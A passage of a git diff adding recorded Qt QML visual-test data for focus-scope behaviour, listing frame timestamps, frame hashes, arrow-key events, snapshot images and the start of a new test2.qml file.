msec: 544 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 560 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 576 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 592 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 608 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 624 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 640 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 656 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 672 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 688 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 704 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 720 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 736 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 752 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 768 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 784 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 800 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 816 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 832 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 848 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 864 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 880 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 896 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 912 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 928 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 944 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 960 + image: "test.0.png" + } + Frame { + msec: 976 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 992 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1008 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1024 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1040 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1056 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1072 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1088 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1104 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1120 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1136 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1152 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1168 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1184 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1200 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1216 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1232 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1248 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1264 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1280 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1296 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1312 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1328 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1360 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1376 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1392 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1408 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1424 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1440 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1456 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1472 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1488 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1504 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1520 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1536 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1552 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1568 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1584 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1600 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1616 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1632 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1648 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1664 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1680 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1696 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1712 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1728 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1744 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1760 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1776 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1792 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 1808 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1824 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1840 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1856 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1872 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1888 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1904 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1920 + image: "test.1.png" + } + Frame { + msec: 1936 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1952 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 1968 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 1984 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2000 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2016 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2032 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2048 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2064 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2080 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2096 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2112 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2128 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2144 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2160 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2176 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2192 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2208 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2224 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2240 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2256 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2272 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2288 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2304 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2320 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2336 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 2352 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2384 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2400 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2416 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2432 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2448 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2464 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2480 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2496 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2512 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2528 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2544 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2560 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2576 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2592 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2608 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2624 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2640 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2656 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2672 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2688 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2704 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2720 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2736 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2752 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2768 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2784 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2800 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2816 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2832 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2848 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2864 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2880 + image: "test.2.png" + } + Frame { + msec: 2896 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2912 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2928 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2944 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2960 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 2976 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3008 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3024 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3040 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3056 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3072 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3088 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3120 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3136 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3152 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3168 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3184 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3200 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3216 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3232 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3248 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3264 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3280 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3296 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3312 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3328 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3344 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3360 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3376 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3392 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3408 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3424 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3440 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3456 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3472 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3488 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3504 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3520 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Frame { + msec: 3536 + hash: "e7722f02692fbae81b9ec78547e1e4e9" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3552 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3568 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3584 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3600 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3616 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3632 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3648 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3664 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3680 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3696 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3712 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3728 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3744 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3760 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3776 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3792 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3808 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3824 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3840 + image: "test.3.png" + } + Frame { + msec: 3856 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3872 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3888 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3904 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3920 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3936 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3952 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3968 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 3984 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4000 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4016 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4032 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4048 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4064 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4080 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4096 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4112 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4128 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4144 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4160 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4176 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4192 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4208 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4224 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4240 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4256 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4272 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 4288 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4304 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4320 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4336 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4352 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4368 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4384 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4400 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4416 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4432 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4448 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4464 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4480 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4496 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4512 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4528 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4544 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4560 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4576 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4592 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4608 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4624 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4640 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4656 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4672 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4688 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4704 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4720 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4736 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4752 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4768 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Frame { + msec: 4784 + hash: "7e4814e27214ecbeb55992e319a88102" + } + Key { + type: 6 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4800 + image: "test.4.png" + } + Frame { + msec: 4816 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4832 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4848 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4864 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4880 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4896 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 7 + key: 16777235 + modifiers: 536870912 + text: "1e" + autorep: false + count: 1 + } + Frame { + msec: 4912 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4928 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4944 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4960 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4976 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 4992 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5008 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5024 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5040 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5056 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5072 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5088 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5104 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5120 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5136 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5152 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5168 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5184 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5200 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5216 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5232 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5248 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5264 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5280 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5296 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5312 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5328 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5344 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5360 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5376 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5392 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5408 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5424 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5440 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5456 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5472 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5488 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5504 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5520 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5536 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5552 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5568 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5584 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5600 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5616 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5632 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5648 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5664 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5680 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5696 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5712 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5728 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5744 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5760 + image: "test.5.png" + } + Frame { + msec: 5776 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5792 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 5808 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5824 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5840 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5856 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5872 + hash: "6f85c2226e6e408f4699762f687b83e1" + } + Frame { + msec: 5888 + hash: "6f85c2226e6e408f4699762f687b83e1" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png new file mode 100644 index 0000000..555a968 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png new file mode 100644 index 0000000..555a968 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data/test2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml new file mode 100644 index 0000000..fedc96a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data/test2.qml @@ -0,0 +1,607 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "bb4131579c66dc948f2e27e236deb4ab" + } + Frame { + msec: 32 + hash: 